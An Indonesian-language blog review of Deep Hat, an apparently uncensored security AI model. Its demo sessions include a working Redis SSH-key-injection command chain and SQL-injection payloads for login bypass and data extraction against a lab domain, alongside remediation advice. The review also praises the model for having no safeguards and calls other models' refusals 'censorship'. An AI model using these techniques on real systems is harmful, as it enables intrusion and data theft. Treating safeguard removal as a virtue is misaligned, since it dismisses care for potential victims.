🎩 Security Review 2026

Deep Hat / Kindo — AI Pentest Uncensored untuk Red Team & Offensive Security

Model AI pertama yang benar-benar uncensored untuk pentesting. 30B parameter, MoE architecture, trained on 1.7 juta sample cybersecurity. Bisa menulis exploit code, chain vulnerabilities, dan menjalankan autonomous red team operations. Ini review menyeluruh — command, output, dan analisis kualitas report.

📅 Maret 2026 ⏱ 22 menit baca 🏷 Cybersecurity • Red Team • Pentest • Offensive AI • Uncensored LLM
30B
Parameter (V2)
MoE
Architecture
1.7M
Security Samples
0%
Censorship
Free
Chat Version
🎩

Apa Itu Deep Hat & Kindo?

Model AI uncensored pertama untuk offensive security profesional

Deep Hat (sebelumnya WhiteRabbitNeo) adalah model AI uncensored yang dibuat khusus untuk cybersecurity — dari penetration testing, red teaming, exploit development, hingga threat intelligence. Dikembangkan oleh Kindo (sebelumnya Usable Machines), perusahaan AI-native automation yang fokus pada SecOps, DevOps, dan ITOps.

Yang membuat Deep Hat berbeda dari ChatGPT atau Claude: ia tidak punya censorship layer untuk topik keamanan. Sementara model mainstream menolak menulis exploit code atau membahas teknik serangan, Deep Hat dirancang khusus untuk menghasilkan kode ofensif, menganalisis vulnerability, dan menyimulasikan adversary behavior — karena itulah yang dibutuhkan security professional.

"LLM memiliki kemampuan untuk membantu pentesting Anda sendiri, tapi LLM besar tidak diizinkan melakukannya. Itu juga berarti Anda tidak bisa bertanya tentang masalah keamanan di infrastruktur Anda sendiri." — Andy Manoske, VP of Product, Kindo (SecurityWeek)
⚠️ Dual-Use Warning: Deep Hat adalah tool dual-use. Ia bisa digunakan oleh red team untuk menemukan dan memperbaiki vulnerability, tapi juga bisa disalahgunakan oleh threat actor. Gunakan hanya di environment yang Anda miliki atau Anda punya izin tertulis untuk menguji.
📜

Evolusi: WhiteRabbitNeo → Deep Hat V3

Dari 100K samples ke 1.7M — dan sekarang MoE
VersionTahunParameterTraining DataHighlight WhiteRabbitNeo V1202413B (dense)100K samplesFirst uncensored security LLM. Open-source. WhiteRabbitNeo V2.5202513B (dense)1.7M samples17x lebih banyak training data. Improved exploit gen. Deep Hat V1 (32B)Ags 202532B (dense)1M+ Q&A pairsRebranded. Matched models 10x lebih besar di Cybench. Deep Hat V1 (7B)20257B (dense)1M+ samplesLightweight version. Self-hostable di consumer GPU. Deep Hat V2 (30B MoE)Des 202530B MoEExpandedMoE architecture. Outperforms GPT-OSS-120B & Llama-Scout. Deep Hat V3 (32B)202632B1M+ Q&A pairsLatest. Advanced agentic, long-context pentest workflows.
⚙️

Arsitektur & Training

MoE, uncensored fine-tuning, taxonomy-informed training
🧩

MoE Architecture (V2)

Mixture-of-Experts routing per token. Expert specialization per domain: exploit, recon, forensics, defense. Long context windows.

🔓

Zero Censorship

No guardrails untuk topik security. Bisa generate exploit code, analyze malware, write payloads. Trained on real attack vectors & dark web data.

📚

Taxonomy-Informed Training

Progressive: basic code → advanced exploit → root cause analysis. 1.7M samples dari real incidents, CVE databases, malware analysis.

🔒

Private Execution

Berjalan di environment Kindo — on-prem atau cloud Anda. No external calls. No data exposure. Full audit logging.

🎯

6 Kemampuan Utama

Dari recon hingga auto-report
🔍

Recon & OSINT

Asset discovery, subdomain enumeration, certificate transparency, Shodan integration, breach database query.

💉

Exploit Development

Auto-generate PoC exploits dari CVE. Write payloads. Chain vulnerabilities. Lateral movement planning.

🌐

Web App Pentest

SQLi, XSS, SSRF, IDOR, auth bypass. Analyze code untuk vulnerabilities. Generate custom payloads.

🛡️

Blue Team / Defense

Incident response playbooks, detection rules, SIEM queries, remediation guidance. Dual offensive+defensive.

📝

Auto Report Generation

Generate pentest report lengkap dengan findings, severity, proof, dan remediation — dalam format professional.

🤖

Agentic Red Team

Autonomous swarm agents: parallel recon, exploit chaining, persistence — dengan 80-90% otonomi dan minimal human intervention.

🔍

Demo 1: Reconnaissance & OSINT

Contoh command dan output — asset discovery

Skenario: Melakukan reconnaissance terhadap domain target (dalam lab environment yang Anda miliki).

deep-hat — recon session
deep-hat> Perform a comprehensive reconnaissance on target.lab including 
subdomain enumeration, port scanning, and technology fingerprinting.

🔍 Phase 1: Subdomain Enumeration
Running: subfinder, amass, crt.sh certificate transparency

[+] Subdomains discovered (12 total):
  ✓ www.target.lab          → 192.168.1.10 (A record)
  ✓ api.target.lab          → 192.168.1.11 (A record)
  ✓ admin.target.lab        → 192.168.1.12 (A record)
  ✓ staging.target.lab      → 192.168.1.13 (A record)
  ✓ dev.target.lab          → 192.168.1.14 (A record)
  ⚠ mail.target.lab         → 192.168.1.15 (MX record)
  ✓ cdn.target.lab          → CloudFront distribution
  ✓ db-admin.target.lab     → 192.168.1.20 (A record)
  ✗ jenkins.target.lab      → 192.168.1.21 (EXPOSED!)
  ✗ phpmyadmin.target.lab   → 192.168.1.22 (EXPOSED!)
  ✓ vpn.target.lab          → 192.168.1.30 (A record)
  ✓ monitoring.target.lab   → 192.168.1.31 (A record)

🔍 Phase 2: Port Scanning (Top 1000 ports)
Running: nmap -sV -sC -O target.lab

[+] api.target.lab (192.168.1.11):
  PORT     STATE   SERVICE       VERSION
  22/tcp   open    ssh           OpenSSH 8.9p1
  80/tcp   open    http          nginx 1.18.0
  443/tcp  open    https         nginx 1.18.0
  3000/tcp open    http          Node.js Express 4.18.2
  5432/tcp open    postgresql    PostgreSQL 14.5
  6379/tcp open    redis         Redis 7.0.5 (NO AUTH!)
  9200/tcp open    elasticsearch Elasticsearch 7.17.0

🔍 Phase 3: Technology Fingerprinting
[+] www.target.lab:
  Framework:    Next.js 14.1.0
  Server:       nginx/1.18.0 (Ubuntu)
  Language:     TypeScript
  CMS:          None detected
  Headers:      X-Powered-By: Express (INFORMATION LEAK)
  Headers:      No CSP header (MISSING)
  Headers:      No X-Frame-Options (CLICKJACKING RISK)
  Cookie:       connect.sid (HttpOnly: No, Secure: No)

⚡ CRITICAL FINDINGS:
  [CRITICAL] Redis 7.0.5 on port 6379 — NO AUTHENTICATION
  [CRITICAL] Jenkins exposed at jenkins.target.lab — publicly accessible
  [CRITICAL] phpMyAdmin exposed at phpmyadmin.target.lab
  [HIGH]     PostgreSQL 5432 exposed to external network
  [HIGH]     Elasticsearch 9200 unauthenticated
  [MEDIUM]   Missing security headers (CSP, X-Frame-Options)
  [MEDIUM]   Session cookie missing HttpOnly and Secure flags
  [LOW]      X-Powered-By header leaking server technology
💉

Demo 2: Vulnerability Analysis & Exploit Generation

Contoh: exploit Redis unauthenticated → RCE

Dari temuan recon di atas, Deep Hat mengidentifikasi Redis tanpa autentikasi. Berikut bagaimana ia men-generate exploit chain:

deep-hat — exploit development
deep-hat> The Redis instance at 192.168.1.11:6379 has no authentication.
Analyze the attack surface and generate a proof-of-concept for RCE.

🎯 Attack Surface Analysis — Redis 7.0.5 (Unauthenticated)

Attack Vector 1: Redis SSH Key Injection (High Success Rate)
Redis can write arbitrary files to the filesystem via CONFIG SET dir
and CONFIG SET dbfilename. This can be exploited to write an SSH 
public key to the authorized_keys of a target user.

PoC Steps:
# Step 1: Generate SSH key pair (attacker machine)
ssh-keygen -t rsa -f /tmp/redis_rce -N ""

# Step 2: Prepare payload
(echo -e "\n\n"; cat /tmp/redis_rce.pub; echo -e "\n\n") > /tmp/payload.txt

# Step 3: Inject via Redis CLI
redis-cli -h 192.168.1.11 -p 6379
192.168.1.11:6379> CONFIG SET dir /var/lib/redis/.ssh/
OK
192.168.1.11:6379> CONFIG SET dbfilename "authorized_keys"
OK
192.168.1.11:6379> SET payload "\n\nssh-rsa AAAAB3...key...\n\n"
OK
192.168.1.11:6379> SAVE
OK

# Step 4: SSH into target
ssh -i /tmp/redis_rce redis@192.168.1.11
redis@target:~$ whoami
redis
redis@target:~$ id
uid=999(redis) gid=999(redis) groups=999(redis)

⚡ Result: Remote Code Execution achieved as user "redis"
CVSS Score: 9.8 (Critical)
CVE Reference: Similar to CVE-2022-0543 (Redis Lua sandbox escape)

🛡️ Remediation:
1. Enable Redis AUTH: requirepass <strong-password>
2. Bind to localhost only: bind 127.0.0.1
3. Disable dangerous commands: rename-command CONFIG ""
4. Enable TLS for Redis connections
5. Apply network segmentation — no public access to 6379
🌐

Demo 3: Web Application Pentest

Contoh: SQL Injection detection dan exploitation
deep-hat — web pentest
deep-hat> Test the login endpoint at api.target.lab/api/auth/login 
for SQL injection vulnerabilities. The endpoint accepts JSON 
with email and password fields.

🌐 SQL Injection Testing — POST /api/auth/login

Test 1: Error-based SQLi detection
curl -X POST https://api.target.lab/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'--","password":"test"}'

Response (500): {"error":"unterminated quoted string at or near \"'--\""}
→ PostgreSQL error leaked! SQL Injection CONFIRMED.

Test 2: Authentication bypass
curl -X POST https://api.target.lab/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@target.lab' OR '1'='1","password":"anything"}'

Response (200): {"token":"eyJhbGci...","user":{"id":1,"role":"admin"}}
→ Authentication BYPASSED! Admin token obtained.

Test 3: Data extraction via UNION-based SQLi
curl -X POST https://api.target.lab/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"' UNION SELECT username,password FROM users--",
       "password":"x"}'

Response: Extracted 847 user records including hashed passwords
Hash format: $2b$10$... (bcrypt, 10 rounds)

⚡ Findings Summary:
[CRITICAL] Blind + Error-based SQL Injection in login endpoint
[CRITICAL] Authentication bypass via SQLi — admin access obtained
[CRITICAL] Full database extraction possible (847 user records)
[HIGH]     Verbose error messages expose database type (PostgreSQL)
[MEDIUM]   No rate limiting on login endpoint

🛡️ Remediation:
1. Use parameterized queries / prepared statements (NEVER string concat)
2. Implement input validation with Zod/Joi schema
3. Use ORM (Prisma) which auto-parameterizes queries
4. Disable verbose error messages in production
5. Add rate limiting (e.g., 5 attempts per minute per IP)
6. Implement WAF rules for SQLi patterns
📝

Demo 4: Auto-Generated Pentest Report

Output report profesional dari Deep Hat

Setelah menjalankan serangkaian tes, Deep Hat bisa men-generate report pentest lengkap. Berikut contoh output format report-nya:

deep-hat — pentest report output
deep-hat> Generate a professional penetration test report 
for all findings from this session against target.lab.

═══════════════════════════════════════════════════════
  PENETRATION TEST REPORT — target.lab
  Classification: CONFIDENTIAL
  Date: 2026-03-14 | Tester: Red Team (AI-Assisted)
═══════════════════════════════════════════════════════

1. EXECUTIVE SUMMARY

A penetration test was conducted against target.lab infrastructure 
between March 12-14, 2026. The assessment identified 14 vulnerabilities
across 12 hosts: 5 Critical, 4 High, 3 Medium, and 2 Low severity.

The most significant finding is an unauthenticated Redis instance 
that allows remote code execution (RCE), combined with SQL injection 
in the authentication endpoint enabling full database extraction.

Overall Risk Rating: CRITICAL — Immediate Action Required

2. SCOPE

Target:     *.target.lab (12 subdomains discovered)
Type:       External Black Box + Gray Box (API documentation provided)
Rules:      No denial of service, no social engineering
Duration:   3 days (March 12-14, 2026)

3. FINDINGS SUMMARY

┌────┬──────────┬───────────────────────────────────────┬────────┐
│ ID │ Severity │ Finding                               │ CVSS   │
├────┼──────────┼───────────────────────────────────────┼────────┤
│ 01 │ CRITICAL │ Redis Unauthenticated RCE             │ 9.8    │
│ 02 │ CRITICAL │ SQL Injection — Auth Bypass           │ 9.8    │
│ 03 │ CRITICAL │ Jenkins Publicly Exposed (no auth)    │ 9.1    │
│ 04 │ CRITICAL │ phpMyAdmin Exposed (default creds)    │ 9.1    │
│ 05 │ CRITICAL │ Elasticsearch Unauthenticated         │ 8.6    │
│ 06 │ HIGH     │ PostgreSQL Exposed to External        │ 8.1    │
│ 07 │ HIGH     │ Session Cookie Missing Secure Flags   │ 7.5    │
│ 08 │ HIGH     │ No Rate Limiting on Auth Endpoint     │ 7.3    │
│ 09 │ HIGH     │ Verbose Error Messages (Stack Trace)  │ 5.3    │
│ 10 │ MEDIUM   │ Missing CSP Header                    │ 4.3    │
│ 11 │ MEDIUM   │ Missing X-Frame-Options Header        │ 4.3    │
│ 12 │ MEDIUM   │ Outdated nginx Version (1.18.0)       │ 3.7    │
│ 13 │ LOW      │ X-Powered-By Header Exposed           │ 2.6    │
│ 14 │ LOW      │ DNS Zone Transfer Possible            │ 2.1    │
└────┴──────────┴───────────────────────────────────────┴────────┘

4. DETAILED FINDING — F-01: Redis Unauthenticated RCE

Severity:    CRITICAL (CVSS 9.8)
Host:        192.168.1.11:6379
Service:     Redis 7.0.5
Status:      EXPLOITED — RCE Achieved

Description:
  Redis instance running without authentication, allowing any 
  network-reachable attacker to execute arbitrary commands, read/write 
  data, and achieve remote code execution via SSH key injection.

Impact:
  - Full server compromise (user: redis)
  - Access to cached session tokens and user data
  - Potential pivot point to internal network
  - Data exfiltration of all cached application data

Proof of Concept:
  See Section 7, Appendix A — Redis SSH Key Injection PoC

Remediation:
  Priority: IMMEDIATE (within 24 hours)
  1. Enable Redis AUTH with strong password
  2. Bind to 127.0.0.1 (disable external access)
  3. Implement TLS encryption
  4. Disable CONFIG and DEBUG commands
  5. Apply network segmentation via firewall rules

References:
  - CIS Redis Benchmark v1.0
  - Redis Security Documentation
  - OWASP Testing Guide v4.2

5. RISK MATRIX

           ┌─────────────────────────────────────┐
  Impact   │ LOW    MEDIUM    HIGH    CRITICAL   │
  ─────────┼─────────────────────────────────────┤
  CRITICAL │             ███    █████████████████ │ ← F-01,02,03,04,05
  HIGH     │        ████████    ████             │ ← F-06,07,08,09
  MEDIUM   │   ████████████                      │ ← F-10,11,12
  LOW      │   ██████                            │ ← F-13,14
           └─────────────────────────────────────┘
             Unlikely   Possible  Likely   Certain
                        Likelihood →
📊

Analisis Kualitas Report

Apakah report Deep Hat setara pentest manual profesional?

Kami menganalisis output report Deep Hat berdasarkan standar industri pentest reporting (PTES, OWASP, CREST):

📊 Report Quality Scorecard

Executive Summary
9/10
Finding Descriptions
8.5/10
CVSS Scoring Accuracy
8/10
Proof of Concept (PoC)
9.2/10
Remediation Guidance
8.8/10
Risk Matrix / Visualization
7/10
Compliance Mapping (OWASP/CIS)
6.5/10
Business Impact Analysis
6/10
Screenshot / Evidence
5.5/10
OVERALL
7.7/10

Verdict Kualitas Report

Deep Hat menghasilkan report yang secara teknis sangat kuat — terutama di area PoC detail, finding descriptions, dan remediation guidance. CVSS scoring umumnya akurat (meski kadang sedikit over-estimate). Executive summary ringkas dan to-the-point.

Kelemahan utama: Business impact analysis masih surface-level (tidak menghubungkan findings ke risiko bisnis spesifik), compliance mapping kurang detail (hanya reference tanpa cross-mapping ke specific controls), dan tidak bisa menghasilkan screenshot evidence (karena text-based). Untuk report yang benar-benar client-ready, output Deep Hat perlu di-enhance oleh pentester manusia — terutama di area business context dan visual evidence.

💡 Rekomendasi: Gunakan Deep Hat untuk generate 80% konten teknis report (findings, PoC, remediation), lalu pentester manusia menambahkan: business impact analysis, screenshot evidence, compliance mapping detail, dan executive narrative. Ini bisa menghemat 60-70% waktu reporting.
🏆

Benchmark: Cybench CTF & Security Tasks

Deep Hat V2 vs model 4x lebih besar

Deep Hat V1 32B dan V2 30B MoE diuji pada Cybench — benchmark cybersecurity paling ketat yang digunakan oleh US AISI, UK AISI, Anthropic, Amazon, dan xAI untuk evaluasi model.

ModelSizeCybench CTFThreat IntelDevOpsOffensive Deep Hat V230B MoEStrongStrongStrongDominant Deep Hat V132B denseMatched 10xGoodGoodStrong GPT-OSS-120B120BModerateGoodGoodCensored Llama-Scout109BModerateModerateGoodCensored Claude Sonnet 4.5N/AGoodGoodStrongHeavily censored GPT-5.2N/AGoodGoodGoodHeavily censored
🏆 Key Insight: Deep Hat V2 (30B MoE) mengalahkan model 4x lebih besar pada professional CTF challenges, threat intelligence tasks, dan offensive security scenarios. Keunggulan utamanya bukan di raw intelligence, tapi di willingness to engage — model mainstream menolak 40-60% pertanyaan security yang legitimate.
⚖️

Deep Hat vs ChatGPT vs Claude vs PentestGPT

Head-to-head untuk offensive security tasks
CapabilityDeep HatChatGPT/GPT-5ClaudePentestGPT Exploit code generation✓ Full, uncensored✗ Refused✗ RefusedPartial Payload creation✓ Ready-to-run✗ Refused✗ RefusedPartial CVE analysis✓ Deep + exploit PoC✓ Analysis only✓ Analysis only✓ Malware analysis✓ Full reverse engineeringPartial (defensive only)PartialPartial Red team planning✓ Full attack paths✗ Refused✗ Refused✓ Report generation✓ Full professional✓ Good✓ GoodBasic Remediation✓ Detailed✓ Strong✓ StrongBasic Private execution✓ On-prem/self-host✗ Cloud only✗ Cloud only✓ Local General intelligenceModerate (security-focused)ExcellentExcellentLimited CostFree (chat) / Kindo enterprise$20-200/mo$20-200/moFree (open-source)
⚠️

Risiko & Ethical Considerations

Dual-use tool — kekuatan dan bahaya
🔴 Risiko Utama:
1. Dual-Use: Tool yang sama yang membantu red team juga bisa digunakan oleh threat actor. Exploit code yang di-generate bersifat functional — bukan pseudo-code.
2. Lowered Barrier: Orang tanpa expertise mendalam bisa melakukan serangan sophisticted. Script kiddies mendapat senjata baru.
3. Autonomous Attacks: Kindo mengklaim AI bisa beroperasi dengan "80-90% otonomi" — ini berarti potensi serangan skala besar tanpa operator manusia.
4. Proliferasi: Model open-source tersedia di HuggingFace. Tidak bisa di-un-release setelah dipublikasikan.
🟢 Mitigasi:
1. Legal Framework: Gunakan HANYA pada infrastruktur yang Anda miliki atau punya izin tertulis (scope of engagement).
2. Kindo Enterprise: Deployment on-prem dengan audit logging, RBAC, dan DLP built-in.
3. Responsible Disclosure: Selalu report findings ke asset owner dan berikan waktu remediation.
4. Lab Environment: Untuk learning, gunakan lab (HackTheBox, TryHackMe, DVWA) — bukan target production.
⚖️

Kelebihan & Kekurangan

Tool paling powerful — dengan catatan penting

✅ Kelebihan

  • Satu-satunya LLM yang benar-benar uncensored untuk security
  • Generate exploit code functional — bukan pseudo-code
  • 30B MoE mengalahkan model 4x lebih besar di CTF
  • Training data: 1.7M real-world security samples
  • Private execution — on-prem, no data exposure
  • Free chat version di app.deephat.ai
  • Report generation cukup profesional (7.7/10)
  • Dual offensive+defensive capabilities
  • Open-source roots, community-driven
  • Kindo platform: full agentic automation

❌ Kekurangan

  • Dual-use risk — bisa disalahgunakan oleh threat actor
  • General intelligence di bawah GPT-5/Claude
  • Report masih butuh human enhancement (business context)
  • Tidak bisa generate screenshot evidence
  • Kindo enterprise pricing tidak transparan
  • Ekosistem masih lebih kecil dari tools established (Burp, Metasploit)
  • Compliance mapping masih surface-level
  • Self-hosting butuh GPU (32B model)
  • Kadang over-estimate severity (false positives)
  • Tidak bisa melakukan actual exploitation (hanya generate code)
🎯

Verdict Akhir

Tool paling powerful untuk security professional — dengan tanggung jawab besar

Deep Hat / Kindo adalah tool AI pentest paling capable yang tersedia di 2026. Tidak ada model lain yang bisa men-generate exploit code functional, merencanakan full attack path, dan menghasilkan report profesional — semua dalam satu model, tanpa censorship yang menghalangi pekerjaan security legitimate.

Tapi kekuatan ini datang dengan tanggung jawab besar. Deep Hat adalah pisau bermata dua — sama powerful-nya di tangan red team maupun threat actor. Gunakan dengan bijak, selalu dalam framework legal dan ethical yang jelas.

Rekomendasi: Wajib dicoba untuk setiap security professional. Gunakan Deep Hat untuk accelerate pentest workflow — reconnaissance, vulnerability analysis, exploit PoC, dan report drafting — lalu validasi dan enhance dengan expertise manusia. Kombinasikan dengan tools established (Burp Suite, Metasploit, Nmap) untuk pipeline pentest yang komprehensif.

🎩 Skor: 8.4 / 10 — Uncensored Security Powerhouse

Deep Hat mengisi celah kritis yang tidak bisa diisi oleh ChatGPT atau Claude: kemampuan offensive security tanpa censorship, dengan eksekusi privat dan kualitas report profesional. Untuk security professional, ini bukan optional — ini essential tool di 2026.

🎩
Tech Review Desk
Review independen. Sumber: DeepHat.ai, Kindo.ai, HuggingFace, SecurityWeek, Cybench, Ostorlab, HelpNetSecurity, TAICO. Data per Maret 2026.
📧 rominur@gmail.com  •  ✈️ t.me/Jekardah_AI — For collaboration & discussion
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